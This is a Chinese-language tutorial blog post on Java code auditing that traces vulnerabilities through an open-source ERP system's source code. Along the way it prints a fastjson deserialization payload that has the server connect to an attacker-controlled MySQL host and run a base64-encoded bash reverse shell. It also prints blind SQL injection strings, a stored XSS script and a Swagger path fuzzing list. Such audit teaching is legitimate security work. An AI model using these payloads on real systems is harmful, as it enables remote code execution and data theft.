深入学习Java代码审计技巧—详细剖析某erp漏洞-程序员宅基地

技术标签: Java  学习  java  计算机  开发语言  

深入学习Java代码审计技巧—详细剖析某erp漏洞

简介

对于Java代码审计,主要的审计步骤如下:

  • 确定项目技术框架、项目结构
  • 环境搭建
  • 配置文件的分析:如pom.xml、web.xml等,特别是pom.xml,可以从组件中寻找漏洞
  • Filter分析:Filter是重要的组成部分,提前分析有利于把握项目对请求的过滤,在后续漏洞利用时能够综合分析
  • 路由分析:部分项目请求路径与对用的controller方法不对应,提前通过抓包调试分析,了解前端请求到后端方法的对应关系,便于在后续分析中更快定位代码
  • 漏洞探测
    • 探测之前可借用工具辅助分析,如codeql、fortify、Yakit、BP等
    • SQL注入分析、RCE分析可先从代码入手,通过关键API及特征关键字来进行逆向数据流分析,从sink到source,判断参数是否可控
    • XSS、文件上传等漏洞适合正向数据流分析,由于存储型XSS数据流断裂,从代码层面不好将两条数据流联系起来,可以通过前端界面的测试,找到插入口和显示处性质一样的点,在通过后端代码分析,构造出可利用的payload
    • 逻辑漏洞这类也是从前端入手比较好处理,后端代码庞大难以定位

个人观点,仅供参考

文件结构分析

在审计项目之前,先了解项目的结构

  • src/main/java:存放java核心代码,里面包含controller、service、filter、dao等,还包括主函数ErpApplication
  • src/main/resources:包含mybatis配置文件,properties等
  • erp_web:里面存放的是该网站的html、css及js文件
  • docs:包含数据库文件及文档文件等
  • test:项目的测试目录
  • pom.xml:项目的依赖配置

环境搭建

数据库创建

mysql -u root -h 127.0.0.1 -p
create database jsh_erp;
use jsh_erp;
source D:/audit-code/java/jshERP-2.3/docs/jsh_erp.sql

项目启动

application.properties文件中配置数据库连接信息及server和port,启动主类ErpApplication.java即可

配置文件分析

在对项目开始审计之前,需要先了解其配置文件

  • application.properties:Spring的全局配置文件,里面包含server的ip及port,同时还有数据库连接信息,在环境搭建时可修改

  • pom.xml:项目的组件依赖,审计开始前先了解依赖的组件并判断是否存在对应组件版本的漏洞,这也可以是漏洞挖掘的第一步

    依赖fastjson

    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.55</version>
    </dependency>
    

    1.2.55版本存在反序列化漏洞,现在需要寻找利用点,全局搜索parseObject方法

猜测search可能可控,进入分析

public static String getInfo(String search, String key){
      String value = "";
      if(search!=null) {
          // 这里
          JSONObject obj = JSONObject.parseObject(search);
          value = obj.getString(key);
          if(value.equals("")) {
              value = null;
          }
      }
      return value;
  }

查看getInfo函数的调用处,比较多,一个一个筛选,这里选择UserComponent.java中的getUserList方法进行分析

private List<?> getUserList(Map<String, String> map)throws Exception {
      String search = map.get(Constants.SEARCH);
      // 这里
      String userName = StringUtil.getInfo(search, "userName");
      String loginName = StringUtil.getInfo(search, "loginName");
      String order = QueryUtils.order(map);
      String filter = QueryUtils.filter(map);
      return userService.select(userName, loginName, QueryUtils.offset(map), QueryUtils.rows(map));
  }

逐层向上调用分析,可以得知在ResourceController.java中调用select,即search参数可控

@GetMapping(value = "/{apiName}/list")
  public String getList(@PathVariable("apiName") String apiName,
                        @RequestParam(value = Constants.PAGE_SIZE, required = false) Integer pageSize,
                        @RequestParam(value = Constants.CURRENT_PAGE, required = false) Integer currentPage,
                        @RequestParam(value = Constants.SEARCH, required = false) String search,
                        HttpServletRequest request)throws Exception {
      Map<String, String> parameterMap = ParamUtils.requestToMap(request);
      parameterMap.put(Constants.SEARCH, search);
      PageQueryInfo queryInfo = new PageQueryInfo();
      Map<String, Object> objectMap = new HashMap<String, Object>();
      if (pageSize != null && pageSize <= 0) {
          pageSize = 10;
      }
      String offset = ParamUtils.getPageOffset(currentPage, pageSize);
      if (StringUtil.isNotEmpty(offset)) {
          parameterMap.put(Constants.OFFSET, offset);
      }

      // 这里
      List<?> list = configResourceManager.select(apiName, parameterMap);
      objectMap.put("page", queryInfo);
      if (list == null) {
          queryInfo.setRows(new ArrayList<Object>());
          queryInfo.setTotal(BusinessConstants.DEFAULT_LIST_NULL_NUMBER);
          return returnJson(objectMap, "查找不到数据", ErpInfo.OK.code);
      }
      queryInfo.setRows(list);
      queryInfo.setTotal(configResourceManager.counts(apiName, parameterMap));
      return returnJson(objectMap, ErpInfo.OK.name, ErpInfo.OK.code);
  }

根据路由分析,这里的apiName为user,这样能够寻找到UserComponent里的select方法

测试

抓包设置payload

{"@type":"java.net.Inet4Address","val":"xxxxxx"}

收到DNS请求,证明漏洞存在

接下来可以进行LDAP注入,但是需要确定AutoType是否开启

可以通过以下代码开启

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

但是在实际测试的过程中,没有开启可以通过mysql服务来打

payload:

{
      "@type": "java.lang.AutoCloseable",
      "@type": "com.mysql.jdbc.JDBC4Connection",
      "hostToConnectTo": "vpsip",
      "portToConnectTo": 3306,
      "info": {
          "user": "yso_CommonsCollections6_bash -c {echo,xxxxx}|{base64,-d}|{bash,-i}",
          "password": "pass",
          "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
          "autoDeserialize": "true",
          "NUM_HOSTS": "1"
      },
      "databaseToConnectTo": "dbname",
      "url": ""
  }

参考:蓝帽杯2022决赛 - 赌怪 writeup - KingBridge - 博客园 (cnblogs.com)

这里就不继续测试,大致原理是这样,如果不懂fastjson,请参考Java安全之FastJson漏洞分析与利用 | DiliLearngent's Blog

依赖log4j

<dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-to-slf4j</artifactId>
      <version>2.10.0</version>
      <scope>compile</scope>
  </dependency>

无相关漏洞,可以通过官方文档或者maven仓库中查看:Maven Repository: org.apache.logging.log4j » log4j-to-slf4j (mvnrepository.com)

  • 还有一些配置文件这里没有涉及到就不提了

Filter分析

在项目中只存在一个Filter类,即LogCostFilter,观察其doFilter方法

@Override
public void doFilter(ServletRequest request, ServletResponse response,
                     FilterChain chain) throws IOException, ServletException {
    HttpServletRequest servletRequest = (HttpServletRequest) request;
    HttpServletResponse servletResponse = (HttpServletResponse) response;
    String requestUrl = servletRequest.getRequestURI();
    //具体,比如:处理若用户未登录,则跳转到登录页
    Object userInfo = servletRequest.getSession().getAttribute("user");
    if(userInfo!=null) { //如果已登录,不阻止
        chain.doFilter(request, response);
        return;
    }
    if (requestUrl != null && (requestUrl.contains("/doc.html") ||
                               requestUrl.contains("/register.html") || requestUrl.contains("/login.html"))) {
        chain.doFilter(request, response);
        return;
    }
    // 使用ignoredList中内容进行认证
    if (verify(ignoredList, requestUrl)) {
        chain.doFilter(servletRequest, response);
        return;
    }
    // 白名单过滤
    if (null != allowUrls && allowUrls.length > 0) {
        for (String url : allowUrls) {
            if (requestUrl.startsWith(url)) {
                chain.doFilter(request, response);
                return;
            }
        }
    }
    servletResponse.sendRedirect("/login.html");
}

根据对init方法的分析可知,ignoredUrls为[.css,.js,.jpg,.png,.gif,.ico],allowUrls为[/user/login,/user/registerUser,/v2/api-docs]

先看verify方法

private static String regexPrefix = "^.*";
private static String regexSuffix = ".*$";

private static boolean verify(List<String> ignoredList, String url) {
    for (String regex : ignoredList) {
        Pattern pattern = Pattern.compile(regexPrefix + regex + regexSuffix);
        Matcher matcher = pattern.matcher(url);
        if (matcher.matches()) {
            return true;
        }
    }
    return false;
}

将ignoredUrls中的逐个元素拼接成正则表达式后与当前url进行匹配,匹配成功即返回true,例如第一个元素形成的正则表达式为^.*.css.*$,即只要包含ignoredUrls中的任意一个元素即可在不登录的情况下访问

在白名单过滤中,只要请求url中以/user/login、/user/registerUser、/v2/api-docs开头即不需要登陆即可访问

路由分析

大部分请求路径都包含在Controller文件夹中,这里有一个特殊的类,即ResourceController.java,它的请求路径中包含{apiName},代码中使用CommonQueryManager.java类对其进行处理,以select方法为例:

public List<?> select(String apiName, Map<String, String> parameterMap)throws Exception {
    if (StringUtil.isNotEmpty(apiName)) {
        return container.getCommonQuery(apiName).select(parameterMap);
    }
    return new ArrayList<Object>();
}
public ICommonQuery getCommonQuery(String apiName) {
    return configComponentMap.get(apiName);
}

configComponentMap存放的是Component类,即如图所示:

具体可通过调试得到,这样通过apiname(首字母大写)+ Component即得到处理的对应类,从该类中选择select方法

SQL注入

审计关键点

  • 重点关注创建查询的函数如 createQuery()createSQLQuery()createNativeQuery()
  • 定位SQL语句上下文,查看是否有参数直接拼接,是否有对模糊查询关键字的过滤。
  • 是否使用预编译技术,预编译是否完整,关键函数定位setObject()setInt()setString()setSQLXML()关联上下文搜索set*开头的函数。
  • Mybatis中搜索${},因为对于like模糊查询、order by排序、范围查询in、动态表名/列名,没法使用预编译,只能拼接,所以还是需要手工防注入,此时可查看相关逻辑是否正确。
  • JPA搜索JpaSort.unsafe(),查看是否用实体之外的字段对查询结果排序,进行了SQL的拼接。以及查看EntityManager的使用,也可能存在拼接SQL的情况。

注入点1

分析

根据SQL注入代码审计经验,Mybatis框架下一般寻找mapper下的xml文件中的${}

挺多,先看这两个,对应在UserMapperEx.xml文件中,查询如下

<select id="countsByUser" resultType="java.lang.Long">
    select count(user.id)
    FROM jsh_user user
    left join jsh_user_business ub on user.id=ub.key_id
    left join jsh_orga_user_rel rel on user.id=rel.user_id and ifnull(rel.delete_flag,'0') !='1'
    left join jsh_organization org on rel.orga_id=org.id and  ifnull(org.org_stcd,'0') !='5'
    where 1=1
    and ifnull(user.status,'0') not in('1','2')
    <if test="userName != null">
        and user.username like '%${userName}%'
    </if>
    <if test="loginName != null">
        and user.login_name like '%${loginName}%'
    </if>
</select>

一看like,只要这里两个参数可控,另外这里要查询的是一个数字,无其他可用的返回参数,即可能存在SQL注入,优先考虑时间盲注。找到对应的Mappper,即UserMapperEx

Long countsByUser(
    @Param("userName") String userName,
    @Param("loginName") String loginName);

继续网上,找调用此方法的service,Ctrl+B找到上层UserService

public Long countUser(String userName, String loginName)throws Exception {
    Long result=null;
    try{
        // 这里
        result=userMapperEx.countsByUser(userName, loginName);
    }catch(Exception e){
        JshException.readFail(logger, e);
    }
    return result;
}

继续Ctrl+B,这里有两个调用处,由于第一个UserController中调用的countUser两个参数均为null,暂时忽略,来到UserComponent

@Override
public Long counts(Map<String, String> map)throws Exception {
    String search = map.get(Constants.SEARCH);
    String userName = StringUtil.getInfo(search, "userName");
    String loginName = StringUtil.getInfo(search, "loginName");
    // 这里
    return userService.countUser(userName, loginName);
}

还是没有到Controller层,继续Ctrl+B,来到CommonQueryManager

/**
     * 计数
     * @param apiName
     * @param parameterMap
     * @return
     */
public Long counts(String apiName, Map<String, String> parameterMap)throws Exception {
    if (StringUtil.isNotEmpty(apiName)) {
        // 这里
        return container.getCommonQuery(apiName).counts(parameterMap);
    }
    return BusinessConstants.DEFAULT_LIST_NULL_NUMBER;
}

继续往上,终于来到ResourceController

@GetMapping(value = "/{apiName}/list")
public String getList(@PathVariable("apiName") String apiName,
                      @RequestParam(value = Constants.PAGE_SIZE, required = false) Integer pageSize,
                      @RequestParam(value = Constants.CURRENT_PAGE, required = false) Integer currentPage,
                      @RequestParam(value = Constants.SEARCH, required = false) String search,
                      HttpServletRequest request)throws Exception {

    // search参数放入map
    Map<String, String> parameterMap = ParamUtils.requestToMap(request);
    parameterMap.put(Constants.SEARCH, search);
    PageQueryInfo queryInfo = new PageQueryInfo();
    Map<String, Object> objectMap = new HashMap<String, Object>();
    if (pageSize != null && pageSize <= 0) {
        pageSize = 10;
    }
    String offset = ParamUtils.getPageOffset(currentPage, pageSize);
    if (StringUtil.isNotEmpty(offset)) {
        parameterMap.put(Constants.OFFSET, offset);
    }
    List<?> list = configResourceManager.select(apiName, parameterMap);
    objectMap.put("page", queryInfo);
    if (list == null) {
        queryInfo.setRows(new ArrayList<Object>());
        queryInfo.setTotal(BusinessConstants.DEFAULT_LIST_NULL_NUMBER);
        return returnJson(objectMap, "查找不到数据", ErpInfo.OK.code);
    }
    queryInfo.setRows(list);
    // 这里
    queryInfo.setTotal(configResourceManager.counts(apiName, parameterMap));
    return returnJson(objectMap, ErpInfo.OK.name, ErpInfo.OK.code);
}

这里包含一个路径变量apiName,以apiName为名找对应的处理包,对应的包中存在Component类,根据上面分析,从UserComponent中来的,对应的是user包,因此apiName为user

另外根据UserComponent类中的counts方法,在map中寻找userName和loginName,因此search参数包含userName和loginName

正向数据链:/user/list——>ResourceController.getList——>CommonQueryManager.counts——>UserComponent.counts——>UserService.countUser——>UserMapperEx.countsByUser——>UserMapperEx.xml中id为countsByUser的查询

同样的道理,在这个getList方法中,还有一个select查询,对应的数据链:

/user/list——>ResourceController.getList——>CommonQueryManager.select——>UserComponent.select——>UserComponent.getUserList——>UserService.select——>UserMapperEx.selectByConditionUser——>UserMapperEx.xml中id为selectByConditionUser的查询

<select id="selectByConditionUser" parameterType="com.jsh.erp.datasource.entities.UserExample" resultMap="ResultMapEx">
    select user.id, user.username, user.login_name, user.position, user.email, user.phonenum,
    user.description, user.remark,user.isystem,org.id as orgaId,user.tenant_id,org.org_abr,
    rel.user_blng_orga_dspl_seq,rel.id as orgaUserRelId,
    (select r.name from jsh_user_business ub
    inner join jsh_role r on ub.value=concat("[",r.id,"]") and ifnull(r.delete_flag,'0') !='1'
    where ub.type='UserRole' and ub.key_id=user.id limit 0,1) roleName
    FROM jsh_user user
    left join jsh_orga_user_rel rel on user.id=rel.user_id and ifnull(rel.delete_flag,'0') !='1'
    left join jsh_organization org on rel.orga_id=org.id and  ifnull(org.org_stcd,'0') !='5'
    where 1=1
    and ifnull(user.status,'0') not in('1','2')
    <if test="userName != null">
        and user.username like '%${userName}%'
    </if>
    <if test="loginName != null">
        and user.login_name like '%${loginName}%'
    </if>
    order by rel.user_blng_orga_dspl_seq,user.id desc
    <if test="offset != null and rows != null">
        limit #{offset},#{rows}
    </if>
</select>
测试

触发界面

抓包

这里的search参数包含了userName和loginName参数,后端的SQL语句如下:

ID:com.jsh.erp.datasource.mappers.UserMapperEx.countsByUser

SELECT count(user.id) FROM jsh_user user LEFT JOIN jsh_user_business ub ON user.id = ub.key_id LEFT JOIN jsh_orga_user_rel rel ON rel.tenant_id = 63 AND user.id = rel.user_id AND ifnull(rel.delete_flag, '0') != '1' LEFT JOIN jsh_organization org ON org.tenant_id = 63 AND rel.orga_id = org.id AND ifnull(org.org_stcd, '0') != '5' WHERE user.tenant_id = 63 AND 1 = 1 AND ifnull(user.status, '0') NOT IN ('1', '2') AND user.login_name LIKE '%jsh%'

按照该SQL语句在login_name构造布尔盲注的payload:%'/**/And/**/SleeP(3)--

根据响应时间成功得到此处存在SQL注入

对应的SQL语句:

SELECT count(user.id) FROM jsh_user user LEFT JOIN jsh_user_business ub ON user.id = ub.key_id LEFT JOIN jsh_orga_user_rel rel ON rel.tenant_id = 63 AND user.id = rel.user_id AND ifnull(rel.delete_flag, '0') != '1' LEFT JOIN jsh_organization org ON org.tenant_id = 63 AND rel.orga_id = org.id AND ifnull(org.org_stcd, '0') != '5' WHERE user.tenant_id = 63 AND 1 = 1 AND ifnull(user.status, '0') NOT IN ('1', '2') AND user.username LIKE '%%' AND SleeP(3)

接下来使用sqlmap跑就ok了,同样在userName参数也是一样的问题

注入点2

分析

关注一个没有like匹配的

关注红框这个,找到MsgMapperEx.xml文件,SQL查询如下

<select id="getMsgCountByStatus" resultType="java.lang.Long">
    SELECT
    COUNT(id)
    FROM jsh_msg
    WHERE 1=1
    and ifnull(delete_Flag,'0') !='1'
    <if test="status != null">
        and status = '${status}'
    </if>
</select>

这里的status参数直接经过拼接,因此可能存在SQL注入,找对应的Mapper,MsgMapperEx.java的文件中:

Long getMsgCountByStatus(
    @Param("status") String status,
    @Param("userId") Long userId);

Ctrl+B找被调用处,应该到Service层,即MsgService.java文件中:

public Long getMsgCountByStatus(String status)throws Exception {
    Long result=null;
    try{
        User userInfo=userService.getCurrentUser();
        // 这里
        result=msgMapperEx.getMsgCountByStatus(status, userInfo.getId());
    }catch(Exception e){
        logger.error("异常码[{}],异常提示[{}],异常[{}]",
                     ExceptionConstants.DATA_READ_FAIL_CODE, ExceptionConstants.DATA_READ_FAIL_MSG,e);
        throw new BusinessRunTimeException(ExceptionConstants.DATA_READ_FAIL_CODE,
                                           ExceptionConstants.DATA_READ_FAIL_MSG);
    }
    return result;
}

继续往上到Controller层,来到MsgController.java

@GetMapping("/getMsgCountByStatus")
public BaseResponseInfo getMsgCountByStatus(@RequestParam("status") String status,
                                            HttpServletRequest request)throws Exception {
    BaseResponseInfo res = new BaseResponseInfo();
    try {
        Map<String, Long> map = new HashMap<String, Long>();
        // 这里
        Long count = msgService.getMsgCountByStatus(status);
        map.put("count", count);
        res.code = 200;
        res.data = map;
    } catch(Exception e){
        e.printStackTrace();
        res.code = 500;
        res.data = "获取数据失败";
    }
    return res;
}

首先传入的status在本方法中没有进行任何过滤,同时根据前面分析,filter中也没有进行过滤,另外这里存在3种返回状态:

  • 查询语句报错,返回500,即获取数据失败
  • 根据SQL语句分析,查询得到的count为0,即拼接的条件为false
  • 查询结果count不为0,即where的条件为true,默认没有拼接条件

根据分析,这里可以利用布尔盲注,前提需要在消息列表至少插入一条数据,当然时间注入也可以

正向数据链:/msg/getMsgCountByStatus——>MsgController.getMsgCountByStatus——>MsgService.getMsgCountByStatus——>MsgMapperEx.getMsgCountByStatus——>MsgMapperEx.xml中id为getMsgCountByStatus

测试

触发界面:

抓包:

后台查询语句:

SELECT COUNT(id) FROM jsh_msg WHERE jsh_msg.tenant_id = 63 AND 1 = 1 AND ifnull(delete_Flag, '0') != '1' AND status = '1'

拼接payload:1'/**/and/**/1=1--1'/**/and/**/1=2--

后台SQL语句:

SELECT COUNT(id) FROM jsh_msg WHERE jsh_msg.tenant_id = 63 AND 1 = 1 AND ifnull(delete_Flag, '0') != '1' AND status = '1' AND 1 = 1
SELECT COUNT(id) FROM jsh_msg WHERE jsh_msg.tenant_id = 63 AND 1 = 1 AND ifnull(delete_Flag, '0') != '1' AND status = '1' AND 1 = 2

根据后面的条件是否成立返回的结果不一致,故存在布尔盲注,后面只需要使用sqlmap跑一遍即可

其他注入点

还存在很多注入点,上面只描述了时间盲注和布尔盲注两种类型,同时体现了like ${}${},正常${}比较少,一般会使用#{},重点like、order by、in等关键字

还有很多,不一一列举,可以使用Yakit进行扫描

XSS漏洞

审计关键点

关键字:

<%=
${
<c:out
<c:if
<c:forEach
ModelAndView
ModelMap
Model
request.getParameter
request.setAttribute

在jsp文件中,使用<c:out>标签是直接对代码进行输出而不当成js代码执行

在使用thymeleaf 模板进行渲染时,模板自带有字符转义的功能

  • th:text 进行文本替换 不会解析html
  • th:utext 进行文本替换 会解析html

以下例子中没有使用渲染模板,最好从前端界面入手,寻找可能的插入点,然后对后端代码进行分析

漏洞点1

分析

存储型XSS一般分为两个部分:

  • 将攻击向量通过某个接口存入
  • 将数据库中的攻击向量通过某个接口显示在页面中

存入点分析

根据/supplier/update找到对应的Controller,在ResourceController.java中

@PostMapping(value = "/{apiName}/update", produces = {"application/javascript", "application/json"})
public String updateResource(@PathVariable("apiName") String apiName,
                             @RequestParam("info") String beanJson,
                             @RequestParam("id") Long id, HttpServletRequest request)throws Exception {
    Map<String, Object> objectMap = new HashMap<String, Object>();
    // 这里
    int update = configResourceManager.update(apiName, beanJson, id, request);
    if(update > 0) {
        return returnJson(objectMap, ErpInfo.OK.name, ErpInfo.OK.code);
    } else if(update == -1) {
        return returnJson(objectMap, ErpInfo.TEST_USER.name, ErpInfo.TEST_USER.code);
    } else {
        return returnJson(objectMap, ErpInfo.ERROR.name, ErpInfo.ERROR.code);
    }
}

找到对应的处理方法

@Transactional(value = "transactionManager", rollbackFor = Exception.class)
public int update(String apiName, String beanJson, Long id, HttpServletRequest request)throws Exception {
    if (StringUtil.isNotEmpty(apiName)) {
        return container.getCommonQuery(apiName).update(beanJson, id, request);
    }
    return 0;
}

还是一样,找到SupplierComponent.java类中的update方法

@Override
public int update(String beanJson, Long id, HttpServletRequest request)throws Exception {
    return supplierService.updateSupplier(beanJson, id, request);
}

来到SupplierService.java层

@Transactional(value = "transactionManager", rollbackFor = Exception.class)
public int updateSupplier(String beanJson, Long id, HttpServletRequest request)throws Exception {
    Supplier supplier = JSONObject.parseObject(beanJson, Supplier.class);
    if(supplier.getBeginNeedPay() == null) {
        supplier.setBeginNeedPay(BigDecimal.ZERO);
    }
    if(supplier.getBeginNeedGet() == null) {
        supplier.setBeginNeedGet(BigDecimal.ZERO);
    }
    supplier.setId(id);
    int result=0;
    try{
        // 这里
        result=supplierMapper.updateByPrimaryKeySelective(supplier);
        logService.insertLog("商家",
                             new StringBuffer(BusinessConstants.LOG_OPERATION_TYPE_EDIT).append(supplier.getSupplier()).toString(), request);
    }catch(Exception e){
        JshException.writeFail(logger, e);
    }
    return result;
}

成功找到对应的Mapper,即SupplierMapper,并且操作id为updateByPrimaryKeySelective,在相应的xml文件中找到更新的sql语句

<update id="updateByPrimaryKeySelective" parameterType="com.jsh.erp.datasource.entities.Supplier">
    update jsh_supplier
    <set>
        <if test="supplier != null">
            supplier = #{supplier,jdbcType=VARCHAR},
        </if>
        <if test="contacts != null">
            contacts = #{contacts,jdbcType=VARCHAR},
        </if>
        <if test="phoneNum != null">
            phone_num = #{phoneNum,jdbcType=VARCHAR},
        </if>
        <if test="email != null">
            email = #{email,jdbcType=VARCHAR},
        </if>
        <if test="description != null">
            description = #{description,jdbcType=VARCHAR},
        </if>
        <if test="isystem != null">
            isystem = #{isystem,jdbcType=TINYINT},
        </if>
        <if test="type != null">
            type = #{type,jdbcType=VARCHAR},
        </if>
        <if test="enabled != null">
            enabled = #{enabled,jdbcType=BIT},
        </if>
        <if test="advanceIn != null">
            advance_in = #{advanceIn,jdbcType=DECIMAL},
        </if>
        <if test="beginNeedGet != null">
            begin_need_get = #{beginNeedGet,jdbcType=DECIMAL},
        </if>
        <if test="beginNeedPay != null">
            begin_need_pay = #{beginNeedPay,jdbcType=DECIMAL},
        </if>
        <if test="allNeedGet != null">
            all_need_get = #{allNeedGet,jdbcType=DECIMAL},
        </if>
        <if test="allNeedPay != null">
            all_need_pay = #{allNeedPay,jdbcType=DECIMAL},
        </if>
        <if test="fax != null">
            fax = #{fax,jdbcType=VARCHAR},
        </if>
        <if test="telephone != null">
            telephone = #{telephone,jdbcType=VARCHAR},
        </if>
        <if test="address != null">
            address = #{address,jdbcType=VARCHAR},
        </if>
        <if test="taxNum != null">
            tax_num = #{taxNum,jdbcType=VARCHAR},
        </if>
        <if test="bankName != null">
            bank_name = #{bankName,jdbcType=VARCHAR},
        </if>
        <if test="accountNumber != null">
            account_number = #{accountNumber,jdbcType=VARCHAR},
        </if>
        <if test="taxRate != null">
            tax_rate = #{taxRate,jdbcType=DECIMAL},
        </if>
        <if test="tenantId != null">
            tenant_id = #{tenantId,jdbcType=BIGINT},
        </if>
        <if test="deleteFlag != null">
            delete_flag = #{deleteFlag,jdbcType=VARCHAR},
        </if>
    </set>
    where id = #{id,jdbcType=BIGINT}
</update>

这整条数据流就是将攻击向量存入数据库的过程,中间的方法为进行任何的过滤,filter层也没有对输入进行过滤。

现在需要触发xss,只需要将相关参数显示在界面中即可。

读取点分析

读取supplier还有另一个api,根据前端观察可以知道为/supplier/list

同样在

@GetMapping(value = "/{apiName}/list")
public String getList(@PathVariable("apiName") String apiName,
                      @RequestParam(value = Constants.PAGE_SIZE, required = false) Integer pageSize,
                      @RequestParam(value = Constants.CURRENT_PAGE, required = false) Integer currentPage,
                      @RequestParam(value = Constants.SEARCH, required = false) String search,
                      HttpServletRequest request)throws Exception {
    Map<String, String> parameterMap = ParamUtils.requestToMap(request);
    parameterMap.put(Constants.SEARCH, search);
    PageQueryInfo queryInfo = new PageQueryInfo();
    Map<String, Object> objectMap = new HashMap<String, Object>();
    if (pageSize != null && pageSize <= 0) {
        pageSize = 10;
    }
    String offset = ParamUtils.getPageOffset(currentPage, pageSize);
    if (StringUtil.isNotEmpty(offset)) {
        parameterMap.put(Constants.OFFSET, offset);
    }
    // 这里
    List<?> list = configResourceManager.select(apiName, parameterMap);
    // 会将查询到的参数放在map的page参数中
    objectMap.put("page", queryInfo);
    if (list == null) {
        queryInfo.setRows(new ArrayList<Object>());
        queryInfo.setTotal(BusinessConstants.DEFAULT_LIST_NULL_NUMBER);
        return returnJson(objectMap, "查找不到数据", ErpInfo.OK.code);
    }
    queryInfo.setRows(list);
    queryInfo.setTotal(configResourceManager.counts(apiName, parameterMap));
    return returnJson(objectMap, ErpInfo.OK.name, ErpInfo.OK.code);
}

和上述分析过程一致,得到一下查询语句

<select id="selectByConditionSupplier" parameterType="com.jsh.erp.datasource.entities.SupplierExample" resultMap="com.jsh.erp.datasource.mappers.SupplierMapper.BaseResultMap">
    select *
    FROM jsh_supplier
    where 1=1
    <if test="supplier != null">
        and supplier like '%${supplier}%'
    </if>
    <if test="type != null">
        and type='${type}'
    </if>
    <if test="phonenum != null">
        and phone_num like '%${phonenum}%'
    </if>
    <if test="telephone != null">
        and telephone like '%${telephone}%'
    </if>
    <if test="description != null">
        and description like '%${description}%'
    </if>
    and ifnull(delete_flag,'0') !='1'
    order by id desc
    <if test="offset != null and rows != null">
        limit #{offset},#{rows}
    </if>
</select>

这将数据库中的全部字段结果返回,最后封装在json的page参数中

现在需要寻找将这些结果渲染到前端页面的html文件,使用ajax必定会对响应的路由发起请求,搜索/supplier/list

在supplier.js文件中

function showSupplierDetails(pageNo,pageSize) {
    var supplier = $.trim($("#searchSupplier").val());
    var phonenum = $.trim($("#searchPhonenum").val());
    var telephone = $.trim($("#searchTelephone").val());
    var description = $.trim($("#searchDesc").val());
    $.ajax({
        type:"get",
        url: "/supplier/list",
        dataType: "json",
        data: ({
            search: JSON.stringify({
                supplier: supplier,
                type: listType,
                phonenum: phonenum,
                telephone: telephone,
                description: description
            }),
            currentPage: pageNo,
            pageSize: pageSize
        }),
        success: function (res) {
            if(res && res.code === 200){
                if(res.data && res.data.page) {
                    $("#tableData").datagrid('loadData', res.data.page);
                }
            }
        },
        //此处添加错误处理
        error:function() {
            $.messager.alert('查询提示','查询数据后台异常,请稍后再试!','error');
            return;
        }
    });
}

这里对相应的url发起请求,并将其渲染至id为tableData的标签中

寻找调用showSupplierDetails方法的地方,与之匹配的是同文件的initTableData方法,在该方法中,只显示了如下参数

columns:[[
    { field: 'id',width:35,align:"center",checkbox:true},
    { title: '操作',field: 'op',align:"center",width:60,
     formatter:function(value,rec,index) {
         var str = '';
         str += '<img title="编辑" src="/js/easyui/themes/icons/pencil.png" style="cursor: pointer;" οnclick="editSupplier(\'' + index + '\');"/>&nbsp;&nbsp;&nbsp;';
         if(isShowOpFun()) {
             str += '<img title="删除" src="/js/easyui/themes/icons/edit_remove.png" style="cursor: pointer;" οnclick="deleteSupplier(\'' + rec.id + '\');"/>';
         }
         return str;
     }
    },
    { title: '名称',field: 'supplier',width:150},
    { title: '联系人', field: 'contacts',width:50,align:"center"},
    { title: '手机号码', field: 'telephone',width:100,align:"center"},
    { title: '电子邮箱',field: 'email',width:80,align:"center"},
    { title: '联系电话', field: 'phoneNum',width:100,align:"center"},
    { title: '传真', field: 'fax',width:100,align:"center"},
    { title: '预付款',field: 'advanceIn',width:70,align:"center"},
    { title: '期初应收',field: 'beginNeedGet',width:70,align:"center"},
    { title: '期初应付',field: 'beginNeedPay',width:70,align:"center"},
    { title: '期末应收',field: 'allNeedGet',width:70,align:"center"},
    { title: '期末应付',field: 'allNeedPay',width:70,align:"center"},
    { title: '税率(%)', field: 'taxRate',width:60,align:"center"},
    { title: '状态',field: 'enabled',width:70,align:"center",formatter:function(value){
        return value? "<span style='color:green'>启用</span>":"<span style='color:red'>禁用</span>";
    }}
]]

因此,在插入攻击向量时,需要在显示的参数中进行选择,当然还需要考虑前端的js过滤。

调用initTableData方法的地方,在supplier.js中

//初始化界面
$(function() {
    var listTitle = ""; //单据标题
    var listType = ""; //类型
    var listTypeEn = ""; //英文类型
    getType();
    initTableData();
    ininPager();
    bindEvent();
});

这个在引入js时即会调用,全局搜索引入supplier.js的地方

在customer.html文件中找到了id为tableData的table

<table id="tableData" style="top:300px;border-bottom-color:#FFFFFF"></table>

整个流程到这里结束

测试

触发界面

抓包

后台执行的SQL语句

UPDATE jsh_supplier SET supplier = '客户1', contacts = '小李', phone_num = '12345678', email = '', description = '<script>alert(\'desc\')</script>', type = '客户', enabled = 1, begin_need_get = '0', begin_need_pay = '0', all_need_get = '80', fax = '', telephone = '', address = '<script>alert(\'address\')</script>', tax_num = '', bank_name = '', account_number = '', tax_rate = '12' WHERE jsh_supplier.tenant_id = 63 AND id = 58

刷新界面触发XSS弹窗

其他漏洞点

还存在很多,不一一列举

信息泄露

swagger-api文档信息泄露

关键点

Swagger是一个规范和完整的框架,用于生成、描述、调用和可视化 RESTful 风格的 Web 服务。总体目标是使客户端和文件系统作为服务器以同样的速度来更新。

spring项目中的配置参考:解决 Swagger API 未授权访问漏洞:完善分析与解决方案-阿里云开发者社区 (aliyun.com)

相关路径,在实际测试工程中可用以下字典fuzz

/api
/api-docs
/api-docs/swagger.json
/api.html
/api/api-docs
/api/apidocs
/api/doc
/api/swagger
/api/swagger-ui
/api/swagger-ui.html
/api/swagger-ui.html/
/api/swagger-ui.json
/api/swagger.json
/api/swagger/
/api/swagger/ui
/api/swagger/ui/
/api/swaggerui
/api/swaggerui/
/api/v1/
/api/v1/api-docs
/api/v1/apidocs
/api/v1/swagger
/api/v1/swagger-ui
/api/v1/swagger-ui.html
/api/v1/swagger-ui.json
/api/v1/swagger.json
/api/v1/swagger/
/api/v2
/api/v2/api-docs
/api/v2/apidocs
/api/v2/swagger
/api/v2/swagger-ui
/api/v2/swagger-ui.html
/api/v2/swagger-ui.json
/api/v2/swagger.json
/api/v2/swagger/
/api/v3
/apidocs
/apidocs/swagger.json
/doc.html
/docs/
/druid/index.html
/graphql
/libs/swaggerui
